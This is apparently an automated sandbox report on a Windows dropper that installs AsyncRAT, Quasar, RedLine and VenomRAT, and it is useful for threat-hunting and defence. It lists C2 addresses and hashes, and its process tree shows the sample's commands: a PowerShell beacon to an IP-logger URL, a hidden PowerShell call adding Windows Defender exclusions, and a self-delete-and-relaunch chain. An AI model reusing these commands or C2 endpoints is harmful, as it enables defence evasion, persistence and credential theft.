asyncrat | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28-10-2024 19:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4363463463464363463463463.exe(3).exe
Size

10KB
MD5

2a94f3960c58c6e70826495f76d00b85
SHA1

e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA256

2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
SHA512

fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP

192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K

Score

10^/10

asyncrat quasar redline venomrat default office04 pizdun discovery execution infostealer persistence rat spyware stealer trojan upx

Malware Config

Extracted

Family

redline

Botnet

Pizdun

94.142.138.219:20936

Attributes

auth_value
20a1f7fe6575c6613ee7cc5d3025af70

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

Extazz24535-22930.portmap.host:22930

Mutex

89f58ee5-7af9-42de-843f-2a331a641e3f

Attributes

encryption_key
CD4F349DEB46AEE10C2FE886E5B2BD7A766723CE
install_name
2klz.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

62.113.117.95:4449

Mutex

hwelcvbupaqfzors

Attributes

delay
10
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\2klz.exe	family_quasar
behavioral2/memory/2696-373-0x0000000000030000-0x0000000000354000-memory.dmp	family_quasar

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3860-142-0x0000000000420000-0x0000000000452000-memory.dmp	family_redline

Redline family
redline

VenomRAT 2 IoCs

Detects VenomRAT - JaffaCakes118.

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\XClient_protected.exe	VenomRAT
behavioral2/memory/2788-393-0x0000000000170000-0x0000000000192000-memory.dmp	VenomRAT

Venomrat family
venomrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\XClient_protected.exe	family_asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

44 2652 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2172 powershell.exe
436 powershell.exe
2652 powershell.exe
2172 powershell.exe
436 powershell.exe
Downloads MZ/PE file

flow	pid	process
44	2652	powershell.exe

pid	process
2172	powershell.exe
436	powershell.exe
2652	powershell.exe
2172	powershell.exe
436	powershell.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

4363463463464363463463463.exe(3).exeDCRatBuild127.exeWScript.exejsawdtyjde.execlamer.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	4363463463464363463463463.exe(3).exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	DCRatBuild127.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	jsawdtyjde.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	clamer.exe

Executes dropped EXE 19 IoCs

Processes:

DCRatBuild127.exe1.exe2.exeDCRatBuild127.exenewfile.exe360_.exe360_.exeef12ce34.exeef12ce34.exeipscan221.exejsawdtyjde.execlamer.exegsprout.exethkdh.exewxha.exe2klz.exeClient.exeXClient_protected.exe2klz.exe

pid	process
4000	DCRatBuild127.exe
4660	1.exe
3028	2.exe
1908	DCRatBuild127.exe
2020	newfile.exe
432	360_.exe
1224	360_.exe
4588	ef12ce34.exe
4052	ef12ce34.exe
4520	ipscan221.exe
2572	jsawdtyjde.exe
3452	clamer.exe
4276	gsprout.exe
948	thkdh.exe
2420	wxha.exe
2696	2klz.exe
3416	Client.exe
2788	XClient_protected.exe
2212	2klz.exe

Loads dropped DLL 1 IoCs

Processes:

DCRatBuild127.exe

pid process

4000 DCRatBuild127.exe
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

newfile.exe360_.exeef12ce34.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Windows Telemetry Crash Uploader = "C:\\ProgramData\\Telemetry.exe"	newfile.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\c321cbe9 = "C:\\ProgramData\\ef12ce34.exe"	360_.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\c321cbe9 = "C:\\ProgramData\\ef12ce34.exe"	ef12ce34.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

Processes:

flow	ioc
56	pastebin.com
58	pastebin.com
140	raw.githubusercontent.com
141	raw.githubusercontent.com
14	bitbucket.org
21	bitbucket.org
43	iplogger.com
44	iplogger.com

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

37 ip-api.com

flow	ioc
37	ip-api.com

Suspicious use of SetThreadContext 3 IoCs

Processes:

1.exe360_.exeef12ce34.exe

description	pid	process	target process
PID 4660 set thread context of 3860	4660	1.exe	AppLaunch.exe
PID 432 set thread context of 1224	432	360_.exe	360_.exe
PID 4588 set thread context of 4052	4588	ef12ce34.exe	ef12ce34.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\ipscan221.exe	upx
behavioral2/memory/4520-305-0x0000000000400000-0x000000000044B000-memory.dmp	upx
behavioral2/memory/4520-309-0x0000000000400000-0x000000000044B000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

Processes:

thkdh.exe

description ioc process

File created C:\Windows\Tasks\Test Task17.job thkdh.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3596 4660 WerFault.exe 1.exe

description	ioc	process
File created	C:\Windows\Tasks\Test Task17.job	thkdh.exe

pid	pid_target	process	target process
3596	4660	WerFault.exe	1.exe

System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

4363463463464363463463463.exe(3).exepowershell.exe360_.exepowershell.exegsprout.exeDCRatBuild127.execmd.exeDCRatBuild127.exeAppLaunch.exe360_.exethkdh.exeClient.exe1.execmd.exepowershell.exePING.EXEef12ce34.exeef12ce34.exe2.exeWScript.execmd.exeipscan221.exewxha.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe(3).exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	360_.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gsprout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DCRatBuild127.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DCRatBuild127.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	360_.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	thkdh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Client.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ef12ce34.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ef12ce34.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipscan221.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wxha.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

PING.EXEcmd.exe

pid process

4004 PING.EXE
3108 cmd.exe

pid	process
4004	PING.EXE
3108	cmd.exe

NSIS installer 2 IoCs

installer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild127.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild127.exe	nsis_installer_2

Modifies registry class 1 IoCs

Processes:

DCRatBuild127.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings DCRatBuild127.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4004 PING.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	DCRatBuild127.exe

pid	process
4004	PING.EXE

Suspicious behavior: EnumeratesProcesses 27 IoCs

Processes:

2.exepowershell.exe360_.exepowershell.exeef12ce34.exepowershell.exe

pid	process
3028	2.exe
3028	2.exe
2652	powershell.exe
2652	powershell.exe
2652	powershell.exe
3028	2.exe
3028	2.exe
3028	2.exe
3028	2.exe
3028	2.exe
3028	2.exe
3028	2.exe
3028	2.exe
3028	2.exe
3028	2.exe
3028	2.exe
3028	2.exe
1224	360_.exe
1224	360_.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
4052	ef12ce34.exe
4052	ef12ce34.exe
436	powershell.exe
436	powershell.exe
436	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

4363463463464363463463463.exe(3).exepowershell.exenewfile.exepowershell.exepowershell.exe2klz.exeXClient_protected.exe2klz.exe

description	pid	process
Token: SeDebugPrivilege	3136	4363463463464363463463463.exe(3).exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	2020	newfile.exe
Token: SeDebugPrivilege	2172	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeDebugPrivilege	2696	2klz.exe
Token: SeDebugPrivilege	2788	XClient_protected.exe
Token: SeDebugPrivilege	2212	2klz.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

2klz.exe

pid process

2212 2klz.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

2klz.exe

pid process

2212 2klz.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

ipscan221.exe2klz.exe

pid process

4520 ipscan221.exe
4520 ipscan221.exe
2212 2klz.exe

pid	process
2212	2klz.exe

pid	process
2212	2klz.exe

pid	process
4520	ipscan221.exe
4520	ipscan221.exe
2212	2klz.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

4363463463464363463463463.exe(3).exeDCRatBuild127.execmd.exeDCRatBuild127.exe1.exeWScript.exe360_.exe360_.execmd.exeef12ce34.exe

description	pid	process	target process
PID 3136 wrote to memory of 4000	3136	4363463463464363463463463.exe(3).exe	DCRatBuild127.exe
PID 3136 wrote to memory of 4000	3136	4363463463464363463463463.exe(3).exe	DCRatBuild127.exe
PID 3136 wrote to memory of 4000	3136	4363463463464363463463463.exe(3).exe	DCRatBuild127.exe
PID 4000 wrote to memory of 2512	4000	DCRatBuild127.exe	cmd.exe
PID 4000 wrote to memory of 2512	4000	DCRatBuild127.exe	cmd.exe
PID 4000 wrote to memory of 2512	4000	DCRatBuild127.exe	cmd.exe
PID 2512 wrote to memory of 4660	2512	cmd.exe	1.exe
PID 2512 wrote to memory of 4660	2512	cmd.exe	1.exe
PID 2512 wrote to memory of 4660	2512	cmd.exe	1.exe
PID 2512 wrote to memory of 3028	2512	cmd.exe	2.exe
PID 2512 wrote to memory of 3028	2512	cmd.exe	2.exe
PID 2512 wrote to memory of 3028	2512	cmd.exe	2.exe
PID 2512 wrote to memory of 1908	2512	cmd.exe	DCRatBuild127.exe
PID 2512 wrote to memory of 1908	2512	cmd.exe	DCRatBuild127.exe
PID 2512 wrote to memory of 1908	2512	cmd.exe	DCRatBuild127.exe
PID 2512 wrote to memory of 2652	2512	cmd.exe	powershell.exe
PID 2512 wrote to memory of 2652	2512	cmd.exe	powershell.exe
PID 2512 wrote to memory of 2652	2512	cmd.exe	powershell.exe
PID 1908 wrote to memory of 5020	1908	DCRatBuild127.exe	WScript.exe
PID 1908 wrote to memory of 5020	1908	DCRatBuild127.exe	WScript.exe
PID 1908 wrote to memory of 5020	1908	DCRatBuild127.exe	WScript.exe
PID 3136 wrote to memory of 2020	3136	4363463463464363463463463.exe(3).exe	newfile.exe
PID 3136 wrote to memory of 2020	3136	4363463463464363463463463.exe(3).exe	newfile.exe
PID 4660 wrote to memory of 3860	4660	1.exe	AppLaunch.exe
PID 4660 wrote to memory of 3860	4660	1.exe	AppLaunch.exe
PID 4660 wrote to memory of 3860	4660	1.exe	AppLaunch.exe
PID 4660 wrote to memory of 3860	4660	1.exe	AppLaunch.exe
PID 4660 wrote to memory of 3860	4660	1.exe	AppLaunch.exe
PID 5020 wrote to memory of 1592	5020	WScript.exe	cmd.exe
PID 5020 wrote to memory of 1592	5020	WScript.exe	cmd.exe
PID 5020 wrote to memory of 1592	5020	WScript.exe	cmd.exe
PID 3136 wrote to memory of 432	3136	4363463463464363463463463.exe(3).exe	360_.exe
PID 3136 wrote to memory of 432	3136	4363463463464363463463463.exe(3).exe	360_.exe
PID 3136 wrote to memory of 432	3136	4363463463464363463463463.exe(3).exe	360_.exe
PID 432 wrote to memory of 1224	432	360_.exe	360_.exe
PID 432 wrote to memory of 1224	432	360_.exe	360_.exe
PID 432 wrote to memory of 1224	432	360_.exe	360_.exe
PID 432 wrote to memory of 1224	432	360_.exe	360_.exe
PID 432 wrote to memory of 1224	432	360_.exe	360_.exe
PID 432 wrote to memory of 1224	432	360_.exe	360_.exe
PID 432 wrote to memory of 1224	432	360_.exe	360_.exe
PID 432 wrote to memory of 1224	432	360_.exe	360_.exe
PID 432 wrote to memory of 1224	432	360_.exe	360_.exe
PID 432 wrote to memory of 1224	432	360_.exe	360_.exe
PID 1224 wrote to memory of 2172	1224	360_.exe	powershell.exe
PID 1224 wrote to memory of 2172	1224	360_.exe	powershell.exe
PID 1224 wrote to memory of 2172	1224	360_.exe	powershell.exe
PID 1224 wrote to memory of 3108	1224	360_.exe	cmd.exe
PID 1224 wrote to memory of 3108	1224	360_.exe	cmd.exe
PID 1224 wrote to memory of 3108	1224	360_.exe	cmd.exe
PID 3108 wrote to memory of 4004	3108	cmd.exe	PING.EXE
PID 3108 wrote to memory of 4004	3108	cmd.exe	PING.EXE
PID 3108 wrote to memory of 4004	3108	cmd.exe	PING.EXE
PID 3108 wrote to memory of 4588	3108	cmd.exe	ef12ce34.exe
PID 3108 wrote to memory of 4588	3108	cmd.exe	ef12ce34.exe
PID 3108 wrote to memory of 4588	3108	cmd.exe	ef12ce34.exe
PID 4588 wrote to memory of 4052	4588	ef12ce34.exe	ef12ce34.exe
PID 4588 wrote to memory of 4052	4588	ef12ce34.exe	ef12ce34.exe
PID 4588 wrote to memory of 4052	4588	ef12ce34.exe	ef12ce34.exe
PID 4588 wrote to memory of 4052	4588	ef12ce34.exe	ef12ce34.exe
PID 4588 wrote to memory of 4052	4588	ef12ce34.exe	ef12ce34.exe
PID 4588 wrote to memory of 4052	4588	ef12ce34.exe	ef12ce34.exe
PID 4588 wrote to memory of 4052	4588	ef12ce34.exe	ef12ce34.exe
PID 4588 wrote to memory of 4052	4588	ef12ce34.exe	ef12ce34.exe

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe(3).exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe(3).exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3136

C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild127.exe
"C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild127.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4000

C:\Windows\SysWOW64\cmd.exe
"cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "DCRatBuild127.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2512

C:\Users\Admin\AppData\Local\Temp\1.exe
"1.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4660

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe"
5⤵
- System Location Discovery: System Language Discovery
PID:3860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4660 -s 152
5⤵
- Program crash
PID:3596

C:\Users\Admin\AppData\Local\Temp\2.exe
"2.exe"
4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3028

C:\Users\Admin\AppData\Local\Temp\DCRatBuild127.exe
"DCRatBuild127.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1908

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\wincrtDll\Kiq5HCXulld4.vbe"
5⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5020

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\wincrtDll\3K4aPY2c2MDUmgYCS2.bat" "
6⤵
- System Location Discovery: System Language Discovery
PID:1592

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2652

C:\Users\Admin\AppData\Local\Temp\Files\newfile.exe
"C:\Users\Admin\AppData\Local\Temp\Files\newfile.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:2020

C:\Users\Admin\AppData\Local\Temp\Files\360_.exe
"C:\Users\Admin\AppData\Local\Temp\Files\360_.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:432

C:\Users\Admin\AppData\Local\Temp\Files\360_.exe
"C:\Users\Admin\AppData\Local\Temp\Files\360_.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1224

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\ProgramData"
4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2172

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c (ping -n 10 127.0.0.1) & (del /F /Q "C:\Users\Admin\AppData\Local\Temp\Files\360_.exe") & (start "" "C:\ProgramData\ef12ce34.exe")
4⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:3108

C:\Windows\SysWOW64\PING.EXE
ping -n 10 127.0.0.1
5⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4004

C:\ProgramData\ef12ce34.exe
"C:\ProgramData\ef12ce34.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4588

C:\ProgramData\ef12ce34.exe
"C:\ProgramData\ef12ce34.exe"
6⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4052

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\ProgramData"
7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:436

C:\Users\Admin\AppData\Local\Temp\Files\ipscan221.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ipscan221.exe"
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4520

C:\Users\Admin\AppData\Local\Temp\Files\jsawdtyjde.exe
"C:\Users\Admin\AppData\Local\Temp\Files\jsawdtyjde.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:2572

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
3⤵
PID:1312

C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe
clamer.exe -priverdD
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:3452

C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe"
5⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:948

C:\Users\Admin\AppData\Local\Temp\Files\gsprout.exe
"C:\Users\Admin\AppData\Local\Temp\Files\gsprout.exe"
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4276

C:\Users\Admin\AppData\Local\Temp\Files\2klz.exe
"C:\Users\Admin\AppData\Local\Temp\Files\2klz.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2696

C:\Users\Admin\AppData\Roaming\SubDir\2klz.exe
"C:\Users\Admin\AppData\Roaming\SubDir\2klz.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:2212

C:\Users\Admin\AppData\Local\Temp\Files\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Client.exe"
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3416

C:\Users\Admin\AppData\Local\Temp\Files\XClient_protected.exe
"C:\Users\Admin\AppData\Local\Temp\Files\XClient_protected.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4660 -ip 4660
1⤵
PID:3476

C:\ProgramData\qhaflu\wxha.exe
C:\ProgramData\qhaflu\wxha.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2klz.exe.log

Filesize
1KB

MD5
baf55b95da4a601229647f25dad12878

SHA1
abc16954ebfd213733c4493fc1910164d825cac8

SHA256
ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924

SHA512
24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
ecaeae6e34ade14e56fdfffd5daf8bb7

SHA1
6086dfcabef4901482894baf06e6f11b5586abdc

SHA256
e110b441429821f04e146df36629730c7abf2f970d9f62022610af8b32e541c3

SHA512
6daf86020893e7a328ea9ddfc7a1f4ec26cdb8e427c835b2563e4422a5f753143e50638a7f6703472d9ae18606eb5b2e43a7e26ec52b9322935ace557cebc7e4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
ee392093f22078e83341de3ff684ed41

SHA1
69b9df1a5493684ac4207e61cd436440a4db10bc

SHA256
4840ff78dea7308d934e1191e962590f1caa0d666a611430d2d24a36aef55488

SHA512
6d0f0376d7b6870f6c391c415ed0f6f409285bf68b5090edb0cf1f4f0a51e75859be22c4d5dc73a6f82a0ed55393f69833d6cc947f9017aef57d22f34f3de06b

Download Submit
C:\Users\Admin\AppData\Local\Temp\1.exe

Filesize
284KB

MD5
95d5aa97a3c15cee24aad800cc169d2b

SHA1
2ace4e384316f6aba1a77fbea5a30d73259760d6

SHA256
1a56132c232842530d78edb6d0ce387b98995e2912df0075d74db9b2f9aa3770

SHA512
